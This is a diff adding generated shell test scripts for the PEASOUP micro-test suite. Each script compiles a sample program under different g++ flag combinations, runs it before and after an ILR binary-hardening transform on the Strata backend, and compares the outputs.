+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8da8c6375eeda8652f34f57bff05599f08a61c06
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0dff3642b067eb9f0913d6c55784f47dcf6d0273
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..674acf4db369b4ba18efcf1cc077179f8bf25b12
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3d34870a2ffeeadfbd2fcb274b189d05010f6800
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..85bc1ee1e012476df973899a9a0aa3b6f0e7861f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a9bf0995fb3f3333f09b77959fece19eee6cdb45
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
